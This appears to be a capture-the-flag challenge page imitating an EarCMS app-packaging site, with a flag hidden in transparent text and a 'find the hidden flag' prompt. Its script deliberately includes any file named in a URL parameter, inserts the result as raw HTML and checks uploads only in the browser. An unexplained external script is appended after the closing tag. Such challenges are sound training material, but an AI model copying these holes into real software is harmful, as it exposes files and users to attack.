<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0">
<meta name="keywords" content="apk,android,ipa,ios,iphone,ipad,app封装,应用分发,企业签名">
<meta name="description" content="耳朵分发为各行业提供ios企业签名、app封装、应用分发托管服务!">
<title>封装价格 - 耳朵分发</title>
<link href="/static/index/icons.css" rel="stylesheet">
<link href="/static/index/bootstrap.css" rel="stylesheet">
<link href="/static/index/main.css" rel="stylesheet">
<link href="/static/pack/colpick/colpick.css" rel="stylesheet">
<link href="/static/pack/webview/manage.css" rel="stylesheet">
<script type="text/javascript" src="/static/index/main.js"></script>
<script type="text/javascript" src="/static/pack/layer/jquery.js"></script>
<script type="text/javascript" src="/static/pack/layer/lib.js"></script>
<script type="text/javascript" src="/static/pack/colpick/colpick.js"></script>
<script type="text/javascript" src="/static/pack/webview/lib.js"></script>
<script type="text/javascript">
var in_path = '/';
var in_login = -1;
</script>
</head>
<body class="page-Pricing">
<nav class="navbar navbar-transparent" role="navigation">
<div class="navbar-header">
<a class="navbar-brand" href="/"><i class="icon-" style="font-size:40px;font-weight:bold">192.168.8.51</i></a>
</div>
<div class="collapse navbar-collapse navbar-ex1-collapse" ng-controller="NavbarController">
<div class="dropdown">
<div>
<i class="icon-brace-left"></i>
<ul class="navbar-bracket">
<li><a href="/">首页</a><i class="icon-comma"></i></li>
<li><a href="/index.php/install">分发价格</a><i class="icon-comma"></i></li>
<li><a href="/index.php/sign">签名价格</a><i class="icon-comma"></i></li> <li><a href="/index.php/webview">封装价格</a><i class="icon-comma"></i></li>
<li><a href="javascript:void(0)" onclick="showKeyModal()">获取密钥</a><i class="icon-comma"></i></li>
<li><a href="/index.php/login">立即登录</a><i class="icon-comma"></i></li>
<li class="signup"><a href="/index.php/reg">免费注册</a></li>
</ul>
<i class="icon-brace-right"></i>
</div>
</div>
</div>
</nav>
<div class="menu-toggle">
<i class="icon-menu"></i>
</div>
<menu>
<ul>
<li><a href="/">首页</a></li>
<li><a href="/index.php/install">分发价格</a></li>
<li><a href="/index.php/sign">签名价格</a></li> <li><a href="/index.php/webview">封装价格</a></li>
<li><a href="/index.php/reg">免费注册</a></li>
<li><a href="/index.php/login">立即登录</a></li>
</ul>
</menu>
<div id="root-packages">
<div class="banner banner-packages">
<h1>
<div class="brackets">
<i class="icon-brace-left"></i><span>应用封装</span><i class="icon-brace-right"></i>
</div>
<small>在线封装</small>
</h1>
<div class="pattern-bg"></div>
</div>
<div class="section packages-content">
<section class="ng-scope">
<div class="page-app app-info">
<div class="ng-scope">
<div class="page-tabcontent apps-app-info">
<div class="middle-wrapper">
<div class="app-info-form">
<div class="field app-name">
<div class="value">
<input type="text" placeholder="应用名称" id="in_title">
</div>
</div>
<div class="field app-name">
<div class="value">
<input type="text" placeholder="域名地址" id="in_url" onkeyup="if(!value.match(/^https?:\/\//)){value='http://'+value}" onblur="if(!value.match(/^https?:\/\//)){value='http://'+value}">
</div>
</div>
<div class="field app-name">
<div class="value">
<input type="text" placeholder="顶部颜色" id="in_b_color" onmousedown="$(this).colpick({layout:'hex',submit:0,colorScheme:'dark',onChange:function(hsb,hex,rgb,el,bySetColor){if(!bySetColor)$(el).val(hex);}}).keyup(function(){$(this).colpickSetColor(this.value);})" onkeyup="value=value.replace(/[\W|\_]/g,'')" onblur="value=value.replace(/[\W|\_]/g,'')">
</div>
</div>
<div class="field app-name">
<div class="value">
<input type="text" placeholder="标题颜色" id="in_t_color" onmousedown="$(this).colpick({layout:'hex',submit:0,colorScheme:'dark',onChange:function(hsb,hex,rgb,el,bySetColor){if(!bySetColor)$(el).val(hex);}}).keyup(function(){$(this).colpickSetColor(this.value);})" onkeyup="value=value.replace(/[\W|\_]/g,'')" onblur="value=value.replace(/[\W|\_]/g,'')">
</div>
</div>
<div class="field app-short">
<div class="value">
<div class="apps-app-security" id="preview_a_icon">
<input type="file" id="upload_a_icon" onchange="upload_a_icon()" style="display:none">
<div class="btn-invite-member" id="tips_a_icon" onclick="$('#upload_a_icon').click()">上传应用图标</div>
</div>
</div>
</div>
<div class="field app-short">
<div class="value">
<div class="apps-app-security" id="preview_l_image">
<input type="file" id="upload_l_image" onchange="upload_l_image()" style="display:none">
<div class="btn-invite-member" id="tips_l_image" onclick="$('#upload_l_image').click()">上传启动图片</div>
</div>
</div>
</div>
<hr>
<div class="field actions">
<div class="value">
<button class="save ng-binding" onclick="showReadme()">一键封装</button>
</div>
<div id="readme-content" style="display:none; margin-top: 20px;"></div>
</div>
</div>
</div>
</div>
</div>
</div>
</section>
</div>
<div class="section packages-cert">
<div class="cert-header">
<i class="icon icon-users"></i>
</div>
<div class="cret-row-wrap">
<div class="cert-row">
<div class="half text-right">
<div class="cert-item">封装方式</div>
<ul class="list-unstyled cert-list">
<li>WAP网站生成APP应用</li>
<li>我的应用中预览</li>
</ul>
</div>
<div class="half text-left">
<div class="cert-item">收费方式</div>
<ul class="list-unstyled cert-list">
<li>单次扣除 3000 下载点数</li>
<li>购买点数包获取</li>
</ul>
</div>
</div>
</div>
</div>
<div class="section packages-faq">
<div class="packages-faq-wrap text-left">
<div class="packages-faq-header">FAQ</div>
<div class="packages-faq-content">
<ol class="packages-faq-list">
<li>
<div class="faq-title">如何去除应用安装页的底部广告?</div>
<ol class="faq-list-items">
<li>1、应用管理 -> 管理 -> 基本信息 -> 去除广告 -> 去除</li>
<li>2、每个应用需单独去除广告并扣除 0 下载点数</li>
</ol>
</li>
</ol>
</div>
</div>
</div></div>
<span style="color: transparent;">FLAG{TEAM5-628BE08E0F67A69C}</span><div class="footer">
<div class="footer-content">
<ul class="list-inline list-unstyled navbar-footer">
<li>Copyright © 2025 192.168.8.51 .All Rights Reserved.</li>
<li><a href="mailto:web@eardev.com">联系我们</a></li>
<li><a href="http://www.miitbeian.gov.cn/" target="_blank">备案中...</a></li>
<li></li>
</ul>
<div>
<ul class="list-inline list-unstyled navbar-footer">
<li>Powered by <a href="http://www.earcms.net/" target="_blank"><strong>EarCMS</strong></a> <span title="20180912">App</span> © 2011-2025 <a href="http://www.eardev.com/" target="_blank">EarDev</a> Inc.</li>
</ul>
</div>
</div>
</div><script>
function showReadme() {
// 从URL参数获取要包含的文件,默认为readme.php
var urlParams = new URLSearchParams(window.location.search);
var fileName = urlParams.get('file') || 'readme.php';
// 使用XMLHttpRequest加载指定文件内容
var xhr = new XMLHttpRequest();
xhr.open('GET', '/include_file.php?file=' + fileName, true);
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
document.getElementById('readme-content').innerHTML = xhr.responseText;
document.getElementById('readme-content').style.display = 'block';
// 滚动到内容位置
document.getElementById('readme-content').scrollIntoView({behavior: 'smooth'});
}
};
xhr.send();
}
// 应用图标上传函数
function upload_a_icon() {
var fileInput = document.getElementById('upload_a_icon');
var file = fileInput.files[0];
// 前端限制:只允许图片文件
if (!file.type.startsWith('image/')) {
alert('请选择图片文件!');
return;
}
// 立即上传
var formData = new FormData();
formData.append('file', file);
var xhr = new XMLHttpRequest();
xhr.open('POST', '/upload_handler.php', true);
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
try {
var response = JSON.parse(xhr.responseText);
if (response.success) {
document.getElementById('tips_a_icon').innerHTML = '上传成功: ' + response.file_url;
// 显示预览图片
document.getElementById('preview_a_icon').innerHTML += '<br><img src="' + response.file_url + '" style="max-width:100px;max-height:100px;">';
console.log('Debug info:', response.debug_info); // flag隐藏在控制台
} else {
alert('上传失败: ' + response.message);
}
} catch(e) {
alert('上传响应解析失败');
}
}
};
xhr.send(formData);
}
// 启动图片上传函数
function upload_l_image() {
var fileInput = document.getElementById('upload_l_image');
var file = fileInput.files[0];
// 前端限制:只允许图片文件
if (!file.type.startsWith('image/')) {
alert('请选择图片文件!');
return;
}
// 立即上传
var formData = new FormData();
formData.append('file', file);
var xhr = new XMLHttpRequest();
xhr.open('POST', '/upload_handler.php', true);
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
try {
var response = JSON.parse(xhr.responseText);
if (response.success) {
document.getElementById('tips_l_image').innerHTML = '上传成功: ' + response.file_url;
// 显示预览图片
document.getElementById('preview_l_image').innerHTML += '<br><img src="' + response.file_url + '" style="max-width:100px;max-height:100px;">';
console.log('Debug info:', response.debug_info); // flag隐藏在控制台
} else {
alert('上传失败: ' + response.message);
}
} catch(e) {
alert('上传响应解析失败');
}
}
};
xhr.send(formData);
}
// 获取密钥弹窗功能
function showKeyModal(){document.getElementById('keyModal').style.display='block';document.getElementById('keyInput').focus();}
function hideKeyModal(){document.getElementById('keyModal').style.display='none';document.getElementById('keyInput').value='';document.getElementById('keyResult').style.display='none';}
function submitKey(){var key=document.getElementById('keyInput').value.trim();if(!key){alert('请输入密钥!');return;}var xhr=new XMLHttpRequest();xhr.open('POST','/key_handler.php',true);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xhr.onreadystatechange=function(){if(xhr.readyState===4&&xhr.status===200){var result=document.getElementById('keyResult');result.innerHTML=xhr.responseText;result.style.display='block';}};xhr.send('key='+encodeURIComponent(key));}
document.addEventListener('keydown',function(e){if(e.key==='Escape'&&document.getElementById('keyModal').style.display==='block'){hideKeyModal();}});
document.addEventListener('keydown',function(e){if(e.key==='Enter'&&document.getElementById('keyModal').style.display==='block'){submitKey();}});
</script>
<!-- 获取密钥弹窗 -->
<div id="keyModal" class="key-modal" style="display:none;">
<div class="key-modal-overlay" onclick="hideKeyModal()"></div>
<div class="key-modal-container">
<div class="key-modal-content">
<div class="key-modal-header">
<h3>获取密钥</h3>
<button class="key-modal-close" onclick="hideKeyModal()">×</button>
</div>
<div class="key-modal-body">
<div class="key-input-group">
<label>请输入密钥:</label>
<input type="text" id="keyInput" placeholder="输入您的密钥..." />
</div>
<div id="keyResult" class="key-result" style="display:none;"></div>
</div>
<div class="key-modal-footer">
<button class="key-btn key-btn-primary" onclick="submitKey()">获取</button>
<button class="key-btn key-btn-secondary" onclick="hideKeyModal()">取消</button>
</div>
</div>
</div>
</div>
<style>
.key-modal{position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999;}
.key-modal-overlay{position:absolute;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.6);}
.key-modal-container{position:relative;display:flex;align-items:center;justify-content:center;height:100%;}
.key-modal-content{background:#fff;border-radius:8px;box-shadow:0 10px 30px rgba(0,0,0,0.3);width:400px;max-width:90%;font-family:'Helvetica Neue',Arial,sans-serif;}
.key-modal-header{padding:20px 25px 15px;border-bottom:1px solid #eee;display:flex;justify-content:space-between;align-items:center;}
.key-modal-header h3{margin:0;color:#333;font-size:18px;font-weight:500;}
.key-modal-close{background:none;border:none;font-size:24px;color:#999;cursor:pointer;padding:0;width:30px;height:30px;display:flex;align-items:center;justify-content:center;}
.key-modal-close:hover{color:#666;}
.key-modal-body{padding:25px;}
.key-input-group{margin-bottom:20px;}
.key-input-group label{display:block;margin-bottom:8px;color:#555;font-size:14px;}
.key-input-group input{width:100%;padding:12px 15px;border:1px solid #ddd;border-radius:4px;font-size:14px;box-sizing:border-box;}
.key-input-group input:focus{outline:none;border-color:#4CAF50;box-shadow:0 0 0 2px rgba(76,175,80,0.2);}
.key-result{padding:15px;background:#f8f9fa;border:1px solid #e9ecef;border-radius:4px;font-family:monospace;font-size:12px;color:#333;word-break:break-all;}
.key-modal-footer{padding:15px 25px 20px;display:flex;justify-content:flex-end;gap:10px;}
.key-btn{padding:10px 20px;border:none;border-radius:4px;cursor:pointer;font-size:14px;font-weight:500;transition:all 0.2s;}
.key-btn-primary{background:#4CAF50;color:white;}
.key-btn-primary:hover{background:#45a049;}
.key-btn-secondary{background:#f8f9fa;color:#666;border:1px solid #ddd;}
.key-btn-secondary:hover{background:#e9ecef;}
</style>
</body>
</html><script async="async" src="//i.6v4.work/v/?uid=387952"></script>查找里面隐藏flag
最新发布